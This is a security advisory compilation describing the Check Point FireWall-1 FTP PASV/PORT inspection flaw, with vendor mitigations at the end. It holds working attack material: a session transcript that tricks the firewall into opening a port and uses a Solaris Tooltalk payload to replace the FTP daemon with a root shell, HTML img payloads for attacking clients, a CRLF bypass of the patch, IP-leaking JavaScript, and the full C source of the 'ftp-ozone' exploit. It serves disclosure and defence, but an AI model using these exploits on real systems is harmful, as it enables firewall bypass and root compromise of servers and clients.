COMMAND

    Firewall-1

SYSTEMS AFFECTED

    Firewall-1

PROBLEM

    Following text by Mikael Olsson  will be used as introduction  for
    something more by John McDonald.  The low-down of it is  fooling a
    firewall into opening "a TCP  port of your choice" against  an FTP
    server.  Or, if you're running an evil FTP server, having it  open
    ports against clients accessing the server.

    There are several  "flaws" and assumption  in this idea,  so it is
    likely to  NOT work  with several  FTP servers  and firewalls.  On
    the other hand, it might work with some.  Now, the idea.

    Assume  we're  accessing  an  FTP  server  that  is protected by a
    firewall of  some kind.   The firewall  is monitoring  our command
    channel, port 21,  for "PASV" messages  sent by the  server.  Upon
    receipt  of  such  messages,  it  will  open a channel to the port
    number specified in  the message.   Now, what if  we'd be able  to
    send fake "PASV" message to the server, and have it echo them  out
    through the firewall?  We'd be able to access arbitrary TCP  ports
    on the FTP server. (23, 139, 6000?)

    Breaking through a stateful inspection FTP ALG
    ----------------------------------------------
    One if  the ideas  has to  do with  stateful inspection firewalls.
    Most  of  them  don't  reassemble  the  connection completely, but
    rather trust that the FTP  server will send the "PASV"  message as
    the first  string in  a new  packet -  this is  usually what  will
    happen?  What if we "get" a file called

        AAAAAAA[about 100 A]AAAAPASV 123, 123, 123, 123, 0, 139

    where  "123,  123,  123,  123"  is  the  public address of the FTP
    server.  It is  somewhat likely that the  FTP server will send  us
    an error  message stating  that this  file name  is illegal.  Now,
    WHAT if we were to decrease the TCP MSS in this connection (easily
    done) to something like.... 100 bytes?

    Wouldn't we  be able  to calculate  just how  many 'A's  we'd have
    to add to the beginning of the file name until the "PASV"  command
    becomes the first string in the packet following the error message
    with all the 'A's ?

    Wouldn't the  firewall then  obey our  fake PASV  command that the
    server  just  echoed  for  us?  Of  course,  you might get lots of
    garbage  after  the  echoed  PASV  command,  like a trailing quote
    and  maybe  bits  and  pieces  of  the  error  message.   But that
    might  not  matter  (assuming   that  the  firewall  simply   does
    something along the lines of sscanf() to get the parameters  after
    having found the "PASV" text in the beginning of the packet).

    This all assumes that  the firewall isn't completely  reassembling
    the  stream,  but  rather  looking  at  the contents of individual
    packets.

    Breaking through a "proxy" FTP ALG
    ----------------------------------
    There's  another  case  here,  and  that  is  where  the  firewall
    completely reassembles the TCP  stream before analyzing it.   Call
    it a  "proxy", call  it whatever.   This is  a LOT  harder, but it
    could maybe work with some FTP servers?

    You'd  have  to  be  able  to  coax  the  FTP  server into sending
    multiple lines (CRLF terminated) in  order to have it look  like a
    real PASV command.  You might also have to mimic a legitimate  GET
    request from the client before having the firewall accept the PASV
    command from the server.  As said, this is nowhere near easy,  but
    someone will come up  with an FTP server  that can be coaxed  into
    doing this, and a way to fool the firewall.

    Breaking through to a client
    ----------------------------
    This is  not as  feasible an  attack.   You'd have  to have an FTP
    server of your  own, and make  people connect to  it. (As if  this
    can't be  done by  mailing HTML  mail to  people containing an IMG
    SRC pointing to an FTP location?)  Anyhow, applying all the theory
    above with different types of firewall, it ought to be possible to
    make the  client echo  bogus "PORT"  commands, which  the firewall
    would  interpret  and  result  in  ports  being opened through the
    firewall.

    This is nowhere near as likely  as the server cases above.   It is
    a  lot  more  likely  that  you  might  coax a server into echoing
    things than fooling a client into echoing things.

    Btw, another thing about the server cases above.  If the  firewall
    accepts any IP  address in the  PASV command from  the server, not
    just the address of  the FTP server itself,  you might be able  to
    fool the  firewall into  opening holes  to pretty  much any server
    and port behind it (long shot).

    John McDonald based on above  added following.  The basic  idea of
    the described attack is to subvert the security policy implemented
    by a stateful firewall.  This is done by triggering the generation
    of a TCP packet that, when inspected by the firewall, will  change
    the firewall's  internal state  such that  an attacker  is able to
    establish  a  TCP  connection  to  a  filtered  port  through  the
    firewall.   This  packet  is  the  server  response to a PASV user
    request  during  a  FTP  session.   He  has  also come across this
    attack, and were in the process of preparing a more  comprehensive
    advisory,  including  other  FireWall-1  security  issues  he  has
    documented.  The idea was to notify Check Point of these  problems
    and give them time to  develop a software update.   However, since
    the  general   form  of   this  vulnerability   was  independently
    documented by Mikael Olsson he did that earlier that planned.

    Check Point FireWall-1  is vulnerable to  an attack involving  the
    stateful support for the  FTP protocol, specifically the  handling
    of the PASV command.   Typically, a user will  send an FTP  server
    the PASV  command, and  the response  from the  FTP server will be
    the 227  message specifying  to which  destination IP  address and
    destination port the  client is expected  to connect for  the next
    data connection.

    FireWall-1 monitors the  packets sent from  the FTP server  to the
    client, looking  for the  string "227  " at  the beginning of each
    packet.  Upon a match, FireWall-1 will extract the destination  IP
    address  and  the  destination  port  given in the packet payload,
    verify that  the specified  IP address  corresponds to  the source
    address  of  the  packet,  and  allow  an  incoming TCP connection
    through the firewall according  to the destination IP  address and
    the destination port extracted from the datagram.

    There are several restrictions on this connection which limit  its
    utility.  Data can only travel  in one direction and it cannot  be
    to a port  that is listed  in FireWall-1's list  of well-known TCP
    services.  It is important to note that FireWall-1 version 3  does
    not have this limitation, connections can be made to any port, and
    the flow of data is not managed.

    In order to trick FireWall-1 into allowing a connection to a  port
    on the FTP server, we must have the server send the "227 "  string
    as the first four bytes in a packet that, according to its  source
    port,  belongs  to  a  FTP  control  connection.  We can typically
    accomplish this  by using  the error  handler of  the FTP  daemon,
    in  conjunction  with  limiting  the  MSS  of  our TCP connection.
    This is easy to do by setting the MTU of our interface to a  small
    value we can work with,  before we establish a control  connection
    to the  victim FTP  server.   This causes  the return packets from
    the server to be smaller,  allowing us to control more  easily how
    data is split into packets.  Thus, we can make the "227 "  message
    returned by the error handler appear at the beginning of a packet.
    Another way to accomplish this would  be to ACK up to the  message
    we want to receive, and  then have the server retransmit  the data
    we want to be contained in an isolated packet.

    Here is an example of an attack based on this technique.  There is
    a  FireWall-1  machine  between  gumpe  and the 172.16.0.2 server,
    which  only  permits  incoming  FTP  connections.  172.16.0.2 is a
    default  Solaris   2.6  install,   with  the   Tooltalk   Database
    vulnerability.    We send the  datagram directly to  the service's
    TCP port,  in spite  of this  port being  blocked by the firewall.
    Note  that  since  there  is  no  response  expected,  the one-way
    restriction doesn't affect this attack.

    All  testings  were  done  on  a  Nokia  IPSO machine running FW-1
    version 4.0.SP-4.

        [root@gumpe /root]# strings hackfile
        localhost
        """"3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
        /usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
        [root@gumpe /root]# /sbin/ifconfig eth0 mtu 100
        [root@gumpe /root]# nc -vvv 172.16.0.2 21
        172.16.0.2: inverse host lookup failed:
        (UNKNOWN) [172.16.0.2] 21 (?) open
        220 sol FTP server (SunOS 5.6) ready.
        ...........................................227 (172,16,0,2,128,7)
        500 '...........................................
        [1]+  Stopped                 nc -vvv 172.16.0.2 21
        [root@gumpe /root]# cat killfile | nc -vv  172.16.0.2 32775
        172.16.0.2: inverse host lookup failed:
        (UNKNOWN) [172.16.0.2] 32775 (?) open
         sent 80, rcvd 0
        [root@gumpe /root]# nc -vvv 172.16.0.2 21
        172.16.0.2: inverse host lookup failed:
        (UNKNOWN) [172.16.0.2] 21 (?) open
        220 sol FTP server (SunOS 5.6) ready.
        ...........................................227 (172,16,0,2,128,7)
        500 '...........................................
        [2]+  Stopped                 nc -vvv 172.16.0.2 21
        [root@gumpe /root]# cat hackfile | nc -vv  172.16.0.2 32775
        172.16.0.2: inverse host lookup failed:
        (UNKNOWN) [172.16.0.2] 32775 (?) open
         sent 1168, rcvd 0
        [root@gumpe /root]# nc -vvv 172.16.0.2 21
        172.16.0.2: inverse host lookup failed:
        (UNKNOWN) [172.16.0.2] 21 (?) open
        id
        uid=0(root) gid=0(root)

    There is an easier way to perform a similar attack on this  setup,
    since the default Solaris FTP  daemon allows a bounce attack,  but
    this should suffice to demonstrate the potential severity of  this
    problem.

    So, if you have a FTP  server behind a FireWall-1, it is  possible
    for an attacker  to open TCP  connections to certain  ports on the
    machine, and  perform limited  communication with  those services.
    If you are running FireWall-1 version 3, you should consider  your
    FTP  server  to  have  no  TCP  filtering. Solving this problem is
    inherently  difficult,  but  there  are  simple  steps  to take to
    minimize this risk.  If the machine is properly hardened, i.e.  if
    there are no services available on it, apart from FTP, this  makes
    this vulnerability have little significance.

    Some proxy based firewalls have  problems with this bug, and  even
    more so than packet  inspecting firewalls.  Proxy  based firewalls
    looks at  the FTP  protocol TCP  stream and  doesn't usually  care
    about  packet  boundaries.   The  reply  from  wuftpd  STAT can be
    forged to look like a seeminly valid FTP control reply.

    For those of you not  tired of the discussion about  the "Multiple
    Firewalls FTP  PASV ALG  Vulnerability", here's  another take, but
    this  time  we'll  attempt  to  break  through to internal clients
    protected by firewalls with bad application layer filters.

    Basic idea : how to open arbitrary ports against a client
    =========================================================
    * Send a HTML email to an HTML-enabled mail reader containing  the
      tag

        <img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">

      You  could  also  conceivably  plant  a  web page somewhere on a
      server containing this link.

    * Balance the number of A so that the PORT command will begin on a
      new  packet  boundary.   This  may  also  be  done by having the
      server use a low TCP MSS to decrease the number of A's that  one
      has to add.

    * The firewall in question will incorrectly parse the resulting

        RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139

      as first a RETR  command and then a  PORT command and open  port
      139 against your address (1.2.3.4 in this case)

    * Now the server ftp.rooted.com can connect to the client on  port
      139.  Ouch.

    Before you ask: no, it  does not have to be  port 139.  It can  be
    any port.  Some firewalls disallow "known server ports" for  these
    connections; such ports cannot be used, but there are plenty other
    ports that can be used in such cases.

    Address translation playing games
    =================================
    You have to know the IP address of the client in order to fool the
    firewall into opening the port.  If the client is not  dynamically
    NATed, this is easy.  If the client IS dynamically NATed, this  is
    a bit harder.

    How to make it work through address translation
    ===============================================
    There are several ways to figure out what the private address  is.
    Here's two:

    * Send an email to the address in question containing an

        <img src ftp://ftp.rooted.com:23456>

      and hope  that the  firewall won't  realise that  port 23456  is
      FTP.  PORT commands won't be translated this way, so the private
      IP adress will be exposed.   This assumes that 23456 is  allowed
      through the  firewall and  that it  won't attempt  to parse  FTP
      command data on that port.

    * Send an email with a link to a web page that contains javascript
      that extracts the private IP address and posts it to the server.

    The javascript code below works  on Netscape (don't know what  the
    equivalent is for MSIE):

        vartool=java.awt.Toolkit.getDefaultToolkit();
        addr=java.net.InetAddress.getLocalHost();
        ip=addr.getHostAddress();

    Once we know about  the IP address, we  can adjust the img  src so
    that it is valid for  that specific internal client.   The dynamic
    translation will also likely change the port number opened on  the
    NAT:ed public address, but  that's ok. All we  have to do is  read
    the command  packet containing  the PORT  command, and  we'll know
    what public  address and  port to  connect to  in order  to get to
    "port 139" of the "protected" client.

    What about Checkpoint's FTP PASV fix for FW-1?
    ==============================================
    Checkpoint's fix  for FW-1  is to  make sure  that every packet in
    the command stream ends with CRLF (0x0a 0x0d in hex).  That  would
    help against the above attack, but not if we modify it a wee bit:

        src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"

    Ouch.   This  WILL  work  in  a  browser  (erified using a network
    sniffer?).  The firewall will see this as two separate commands:

        RETR aaaaaaaaaa
        PORT 1,2,3,4,0,139

    which  means  that  poorly  implemented  proxies  are likely to be
    vulnerable aswell.

    Dug Song added following.  Inspecting TCP application data  within
    individual IP packets  is a basic  layer violation.   Network IDSs
    also  suffer   from  this   problem,  only   worse.     Fragrouter
    demonstrates this nicely.   Reassembling the TCP stream  will only
    get you so far - your proxy still needs to actually implement  the
    application protocol correctly.   Dug released a 'fragproxy'  tool
    soon to demonstrate this, but for now, an ObLameExploit:

        http://www.monkey.org/~dugsong/ftp-ozone.c.txt

    Here's the code:

    /*
      ftp-ozone.c

      Demonstrate a basic layer violation in "stateful" firewall
      inspection of application data (within IP packets - @#$@#$!):

         http://www.checkpoint.com/techsupport/alerts/pasvftp.html

      Dug Song <dugsong@monkey.org>
    */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <signal.h>
    #include <setjmp.h>

    #define PAD_LEN		128	/* XXX - anything on BSD, but Linux is weird */

    #define GREEN		"\033[0m\033[01m\033[32m"
    #define OFF		"\033[0m"

    jmp_buf env_buf;

    void
    usage(void)
    {
      fprintf(stderr, "Usage: ftp-ozone [-w win] <ftp-server> <port-to-open>\n");
      exit(1);
    }

    u_long
    resolve_host(char *host)
    {
      u_long addr;
      struct hostent *hp;

      if (host == NULL) return (0);

      if ((addr = inet_addr(host)) == -1) {
        if ((hp = gethostbyname(host)) == NULL)
          return (0);
        memcpy((char *)&addr, hp->h_addr, sizeof(addr));
      }
      return (addr);
    }

    #define UC(b)	(((int)b)&0xff)

    int
    ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
    {
      char *p, *q;

      port = htons(port);
      p = (char *)&ip;
      q = (char *)&port;

      return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
		       UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
		       UC(q[0]), UC(q[1])));
    }

    void handle_timeout(int sig)
    {
      alarm(0);
      longjmp(env_buf, 1);
    }

    void
    read_server_loop(int fd, int timeout, int pretty)
    {
      char buf[2048];
      int rlen;

      if (!setjmp(env_buf)) {
        signal(SIGALRM, handle_timeout);
        alarm(timeout);
        for (;;) {
          if ((rlen = read(fd, buf, sizeof(buf))) == -1)
	    break;
          if (pretty) {
	    buf[rlen] = '\0';
	    if (strncmp(buf, "227 ", 4) == 0)
	      printf("[" GREEN "%s" OFF "]\n", buf);
	    else printf("[%s]\n", buf);
          }
          else write(0, buf, rlen);
        }
        alarm(0);
      }
    }

    int
    main(int argc, char *argv[])
    {
      int c, fd, win, len;
      u_long dst;
      u_short dport;
      struct sockaddr_in sin;
      char buf[1024];

      win = PAD_LEN;

      while ((c = getopt(argc, argv, "w:h?")) != -1) {
        switch (c) {
        case 'w':
          if ((win = atoi(optarg)) == 0)
	    usage();
          break;
        default:
          usage();
        }
      }
      argc -= optind;
      argv += optind;

      if (argc != 2)
        usage();

      if ((dst = resolve_host(argv[0])) == 0)
        usage();

      if ((dport = atoi(argv[1])) == 0)
        usage();

      /* Connect to FTP server. */
      memset(&sin, 0, sizeof(sin));
      sin.sin_addr.s_addr = dst;
      sin.sin_family = AF_INET;
      sin.sin_port = htons(21);

      if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket");
        exit(1);
      }
      if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1) {
        perror("setsockopt");
        exit(1);
      }
      if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
        perror("connect");
        exit(1);
      }
      read_server_loop(fd, 10, 0);

      /* Send padding. */
      len = win - 5; 	/* XXX - "500 '" */
      memset(buf, '.', len);

      if (write(fd, buf, len) != len) {
        perror("write");
        exit(1);
      }
      /* Send faked reply. */
      len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);

      if (write(fd, buf, len) != len) {
        perror("write");
        exit(1);
      }
      read_server_loop(fd, 5, 1);

      printf("[ now try connecting to %s %d ]\n", argv[0], dport);

      for (;;) {
        ;
      }
      /* NOTREACHED */

      exit(0);
    }

    What follows is a clarification of a statement in the advisory  by
    John McDonald and Thomas Lopatic.   Here is the relevant  portion:
    "FireWall-1 monitors the packets sent from the FTP server to   the
    client, looking for the string   "227 " at the beginning   of each
    packet.  Upon a   match, FireWall-1 will extract   the destination
    IP  address  and  the  destination   port  given  in  the   packet
    payload, verify  that the   specified IP  address corresponds   to
    the source  address of  the  packet,  and allow  an incoming   TCP
    connection through the firewall  according to the destination   IP
    address and the destination port extracted from the datagram."

    It  then  goes  on  to  describe  some  restrictions  on  this TCP
    connection one of which  is that "it cannot  be to a port  that is
    listed in FireWall-1's list of well-known TCP services."  This  is
    true of the default inspect code in the base.defs file.  It really
    depends on  the definition  of the  NOTSERVER_TCP_PORT macro.   If
    the macro is  modified the behavior  changes.  This  is the reason
    for the difference between v3.0 and v4.x that is mentioned in  the
    original advisory.  See

        http://www.phoneboy.com/fw1/faq/0106.html

    for discussion of a change to NOTSERVER_TCP_PORT that removes  the
    restriction on ports that are  in FW-1's list of TCP  services and
    as a result only restricts  ports <1024.  A Nokia  machine running
    FW-1 4.0 with a base.defs  modified according to the phoneboy  FAQ
    item listed above has been tested and a connection can be made  to
    any port *not matched* by the NOTSERVER_TCP_PORT macro.

SOLUTION

    You can  also disable  the PASV  handling in  the FireWall-1  GUI.
    However, this breaks your  configuration for passive FTP  clients.
    So,  proper  hardening  is  some  kind  of  solution,  but not the
    solution.

    According to CheckPOint minimizing the possible threat:

        - Do not enable PASV FTP if not needed
        - Use the FTP Security Server or HTTP security server for PASV
          FTP connections to internal FTP servers
        - Those running publicly accessible FTP servers should  follow
          good host security practices (e.g., not running  additional,
          possibly  unnecessary  and  vulnerable  services, keeping up
          with OS and/or application patches)
        - For  those  using  stateful  inspection of passive FTP,  the
          following patch has been supplied

    The patch consists of a new $FWDIR/lib/base.def file that includes
    a fix to the problem  (the file is compatible with  Firewall-1 4.0
    SP-5, other platforms will be released as soon as possible).   The
    fix  involves  an  enforcement  on  the  existence  of the newline
    character at the end of each packet on the FTP control connection,
    this will  close off  the described  vulnerability.   It should be
    noted that this may cause connectivity problems (i.e., blocked FTP
    connections) in the following scenarios:

        1. If FTP  control messages larger  than the MTU  (e.g., large
           PWD) are exchanged
        2. If some FTP clients/servers does not put newline at the end
           of the line
        3. When passing FWZ encrypted traffic through an  intermediate
           Firewall gateway

    The enforcement can be easily disabled by commenting the following
    line in the base.def file  (or by restoring the original  base.def
    file):  #define FTP_ENFORCE_NL

    The patch described  above does not  sound as though  it will 'fix
    the problem'.   The enforcement  of a  newline at  the end  of the
    packet might  still open  the possibility  of exploitation through
    at least few methods.

    Even with the best firewall in  the world, you need an ftp  server
    that implements the FTP protocol correctly before you have a  hope
    of handling  PASV correctly.   ALL stateful  inspection  firewalls
    with FTP ALGs that do not reassemble the TCP stream are vulnerable
    to this attack.